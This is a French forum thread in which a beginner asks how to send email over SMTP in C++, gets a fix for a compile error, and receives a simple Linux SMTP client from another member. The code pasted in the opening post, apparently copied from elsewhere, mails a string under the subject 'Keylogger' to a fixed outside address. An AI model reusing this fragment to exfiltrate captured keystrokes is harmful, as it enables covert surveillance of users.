IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Dev-C++ Discussion :

Envoi d'email par smtp avec C++ (Dev-Cpp)


Sujet :

Dev-C++

  1. #1
    Membre à l'essai
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 11
    Points : 15
    Points
    15
    Par défaut [Résolu] Envoi d'email par smtp avec C++ (Dev-Cpp)
    Bonsoir à tous,
    Alors voila, je me lance dans un projet en c++ pour me permettre d'apprendre le language. J'en arrive à un point ou j'ai besoin d'envoyer un mail donc connection smtp etc ... Par la suite je voudrais me connecter au serveur pop pour récupérer les mails mais j'y vais petit à petit
    Pour Infos : j'utilise Dev-cpp et je suis sous windows xp pro. Et j'utilise wxwidgets mais par manque de documentation j'ai abandonné pour les socket avec cette librairie.

    Un amis m'a dit ceci :

    tu fais un MX (Mail eXchanger) lookup
    ça donne (par ex.) pamx.hotmail.com / smtp.wanadoo.fr / etc.
    puis tu te connectes sur le port 25 à l'un de ces MX
    puis tu fais : (> = envoi, < = réception)
    > EHLO [nom-de-ton-ordi]
    <
    > MAIL FROM: <[adresse-e-mail]>
    <
    > RCPT TO: <[destinataire]>
    <
    > RCPT CC: <[destinataire]>
    <
    > RCPT BCC: <[destinataire]>
    <
    > DATA
    < ... end by a "[*]" by itself > ... > ... > ... >[*] < > QUIT
    dans ce que tu reçois, tu dois juste vérifier le 1er caractère de chaque ligne reçue, et ce que représente le[*] que tu devras renvoyer pour terminer le msg
    et tu dois terminer toutes les lignes que t'envoies par un \r\n (le serveur en fait autant)
    et pour le 1er caractère de chaque ligne reçue : 1 = je sais pas 2 = ok 3 = je sais pas 4 = erreur 5 = grave erreur

    Mais meme ca, pour moi c'est pas très clair xD.

    J'ai aussi écumé 999999 pages aujourd'hui et je n'ai pas avancé alors je sollicite votre aide pour m'indiquer des tutos ou des codes existant qui pourraient m'inspirer. (Si vous avez aussi quelquechose pour la récupération d'email sur les serveurs pop3 hein )
    Je ne demande pas qu'on me fasse le code hein =), mais au moins un peu d'aide .
    S'il vous manque des détails ou si mon post n'est pas très clair dites le moi =).

    Ha aussi j'en suis à ce code la (récupéré je ne sais plus trop ou) :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    int main(char* body) {
     
        WORD sockVersion;
     
        WSADATA wsaData;
        sockVersion = MAKEWORD(2, 0);
        WSAStartup(sockVersion, &wsaData);
        LPHOSTENT hostEntry;
        hostEntry = gethostbyname("mail.firegates.com");
     
     
        SOCKET smtpSocket;
        smtpSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
     
        SOCKADDR_IN serverInfo;
        serverInfo.sin_family = AF_INET;
        serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
        serverInfo.sin_port = htons(25);        
     
        connect(smtpSocket, (LPSOCKADDR)&serverInfo, sizeof(struct sockaddr));
     
        send(smtpSocket, "helo\n\r", 6, 0);
        send(smtpSocket, "mail from:me@mail.com\n\r", strlen("mail from:me@mail.com\n\r"), 0);
        send(smtpSocket, "rcpt to:leyou@firegates.com\n\r", strlen("rcpt to:leyou@firegates.com\n\r"),0);
        send(smtpSocket, "data\n\r", 6, 0);
        send(smtpSocket, "subject:Keylogger\n\r", strlen("subject:Keylogger\n\r"), 0);
        sprintf(buffer1, "contenido:%s\n\r.\n\r", body);
        send(smtpSocket, buffer1, strlen("contenido:\n\r.\n\r")+strlen(body), 0);
        send(smtpSocket, "quit\n\r", 6,0 );
     
        closesocket(smtpSocket);
     
        WSACleanup();
    }
    mais pour chaque ligne le compilateur me dit : 3 D:\Dev-Cpp\project\mail\main.cpp `WORD' undeclared (first use this function)
    ...

    ca doit être idiot comme problème mais je suis un pauvre débutant dans le monde du c++ xD

    En tous cas Merci beaucoup pour votre aide ou même de m'avoir lu !

  2. #2
    Rédacteur/Modérateur
    Avatar de JolyLoic
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Août 2004
    Messages
    5 463
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 49
    Localisation : France, Yvelines (Île de France)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Août 2004
    Messages : 5 463
    Points : 16 213
    Points
    16 213
    Par défaut
    WORD n'est pas un type défini dans le C++, d'où l'erreur.

    Par contre, c'est un type de windows, et un petit #include <windows.h> devrait arranger ça si tu développe sous windows. Sinon, ce code te sera de peu d'utilité directement, et demande à être porté.
    Ma session aux Microsoft TechDays 2013 : Développer en natif avec C++11.
    Celle des Microsoft TechDays 2014 : Bonnes pratiques pour apprivoiser le C++11 avec Visual C++
    Et celle des Microsoft TechDays 2015 : Visual C++ 2015 : voyage à la découverte d'un nouveau monde
    Je donne des formations au C++ en entreprise, n'hésitez pas à me contacter.

  3. #3
    Membre à l'essai
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 11
    Points : 15
    Points
    15
    Par défaut
    il me dit buffer1 non déclaré, sprintf pareil, ....

    Mais je suis pas convaincu que ce soit un bon code. Je ne sais même plus ou je l'ai trouvé à vrai dire, à force de surfer sur le web à la recherche de tuto ou d'exemple.

  4. #4
    Invité
    Invité(e)
    Par défaut
    Yo,

    Voici un petit programme tout simple que j'avais ecrit quand j'avais eu besoin d'envoyer des messages par smtp. Il s'agit d'un programme qui accepte des parametres en ligne de commande, ainsi que le message, et qui l'envoit par smtp. Il fonctionne sur linux, mais peut facilement fonctionner sur windows en changeant les bon headers pour les sockets et d'autre trucs si y'en a.

    Il n'est probablement pas solide, ne respecte surement pas la rfc, mais il fonctionne et j'espere, te sera utile pour comprendre.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
     
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
     
    int my_socket;   
     
    void snd(char *s)
    {
    	send(my_socket, s, strlen(s), 0); 
    }
     
    int printUsage(char *progname)
    {
    	printf("Usage: %s -t destination [-f from] [-s subject] -m message\n", progname); 
    	return 1;
    }	
     
    int main(int argc, char *argv[])
    {
    	int ret;
    	struct sockaddr_in my_addr;
     
    	char *from=0, *to=0, *subject=0, *message=0;
    	bool verbose = false;
    	char optchar;
    	while ((optchar = getopt (argc, argv, "f:t:s:m:v")) != -1)
    	{
    		switch (optchar)
    		{
    			case 'f':
    				from = strdup(optarg);
    				break;	
    			case 't':
    				to = strdup(optarg);
    				break;	
    			case 's':
    				subject = strdup(optarg);
    				break;	
    			case 'm':
    				message = strdup(optarg);
    				break;	
    			case 'v':
    				verbose = true;
    				break;
    			default:
    				return printUsage(argv[0]);
    		}
    	}	
     
    	if(!to || !message)
    		return printUsage(argv[0]);
     
    	if(!subject)
    		subject = strdup("No subject");
     
    	if(!from)
    		from = strdup("Unknown");
     
    	if(verbose)
    	{
    		printf("From: %s\n", from);
    		printf("To: %s\n", to);
    		printf("Subject: %s\n", subject);
    		printf("Message: %s\n", message);
    	}	
     
     
        	my_addr.sin_family = AF_INET;
        	my_addr.sin_port = htons(25);
    	my_addr.sin_addr.s_addr = inet_addr("24.201.245.36"); 
        	memset(&(my_addr.sin_zero), '\0', 8);
     
    	my_socket = socket(AF_INET, SOCK_STREAM, 0);	
    	if(my_socket == -1)
    		printf("error while initialising socket\n");
     
    	ret = connect(my_socket, (const struct sockaddr *)&my_addr, sizeof(my_addr));
    	if(ret == -1)
    		printf("unable to connect\n");
     
     
    	int stage = 0;
    	char buffer[4096];
    	while(1)
    	{
    		ret = recv(my_socket, buffer, 4096, 0);
    		if(ret != -1 && ret != 0)
    		{
    			buffer[ret] = '\0';
    			if(strstr(buffer, "220") == buffer)
    			{
    				if(verbose)
    					printf("Connected\n");
    				snd("HELO localhost\r\n"); 
    			}	
     
    			if(strstr(buffer, "250") == buffer)
    			{
    				switch(stage)
    				{
    					case 0:
    						sprintf(buffer, "MAIL FROM: %s\r\n", from);
    						snd(buffer); 
    						stage++;
    						break;
    					case 1:
    						sprintf(buffer, "RCPT TO: %s\r\n", to);
    						snd(buffer); 
    						stage++;
    						break;
    					case 2:
    						snd("data\r\n"); 
    						stage++;
    						break;
    					case 3:
    						if(verbose)
    							printf("Closing connection\n");
    						snd("quit\r\n"); 
    						stage++;
    						break;
    				}	
    			}
     
    			if(strstr(buffer, "354") == buffer)
    			{
    				if(verbose)
    					printf("Sending message...");
    				if(subject)
    				{
    					sprintf(buffer, "Subject: %s\r\n", subject);
    					snd(buffer); 
    				}	
    				snd(message); 
    				snd("\r\n.\r\n"); 
    				if(verbose)
    					printf("Ok.\n");
    			}	
    		}
    		else
    		break;
    	}
     
    	return 0;
    }

  5. #5
    Membre à l'essai
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    11
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 11
    Points : 15
    Points
    15
    Par défaut
    merci voider pour ton code mais avec des morceaux tuto à droite et à gauche, en anglais et en francais j'ai réussi à monté un code qui en plus marche ^^. Enfin marche... c'est vite dit.
    Voici le type de communication que j'ai avec smtp.wanadoo.fr et ca reste semsiblement pareil avec les autres serveurs :

    Edit (maintenant j'ai ca) :
    EHLO : 220 mwinf0100.wanadoo.fr ESMTP ABO ******************
    MAILFROM : 220 mwinf0100.wanadoo.fr ESMTP ABO ******************
    MAILTO : 220 mwinf0100.wanadoo.fr ESMTP ABO ******************
    DATA : 220 mwinf0100.wanadoo.fr ESMTP ABO ******************
    QUIT : 220 mwinf0100.wanadoo.fr ESMTP ABO ******************

    un peu répététif non ?

    ------------

    J'ai trouvé j'édit =)

  6. #6
    Expert éminent sénior
    Avatar de Médinoc
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Septembre 2005
    Messages
    27 369
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 40
    Localisation : France

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : High Tech - Éditeur de logiciels

    Informations forums :
    Inscription : Septembre 2005
    Messages : 27 369
    Points : 41 518
    Points
    41 518
    Par défaut
    C'est EXACTEMENT ce que tu recois, ou bien parfois le début de la fin est mangé ?
    SVP, pas de questions techniques par MP. Surtout si je ne vous ai jamais parlé avant.

    "Aw, come on, who would be so stupid as to insert a cast to make an error go away without actually fixing the error?"
    Apparently everyone.
    -- Raymond Chen.
    Traduction obligatoire: "Oh, voyons, qui serait assez stupide pour mettre un cast pour faire disparaitre un message d'erreur sans vraiment corriger l'erreur?" - Apparemment, tout le monde. -- Raymond Chen.

  7. #7
    Candidat au Club
    Homme Profil pro
    develloper c++
    Inscrit en
    Avril 2015
    Messages
    3
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Val de Marne (Île de France)

    Informations professionnelles :
    Activité : develloper c++

    Informations forums :
    Inscription : Avril 2015
    Messages : 3
    Points : 4
    Points
    4
    Par défaut
    j'ai la meme galere mais le code source que me montre voider n'est pas pour windows .
    j'aimerai le meme mais pour windows
    merci

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. message d'erreur sur l'envoi dun email par smtp
    Par l_achraf dans le forum VB.NET
    Réponses: 7
    Dernier message: 20/03/2009, 19h37
  2. Problème d'envoie de mail par SMTP
    Par yass dans le forum VB 6 et antérieur
    Réponses: 13
    Dernier message: 12/09/2008, 16h45
  3. Envoi de mail par SMTP
    Par Ataturk dans le forum VBA Access
    Réponses: 1
    Dernier message: 13/06/2007, 17h31
  4. Access 97 : Envoi de mail par SMTP sans Outlook
    Par mr_foxy dans le forum Access
    Réponses: 2
    Dernier message: 16/03/2006, 14h45
  5. [Mail] Envoi de mail par SMTP ?
    Par Borami dans le forum Langage
    Réponses: 1
    Dernier message: 03/01/2006, 12h26

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo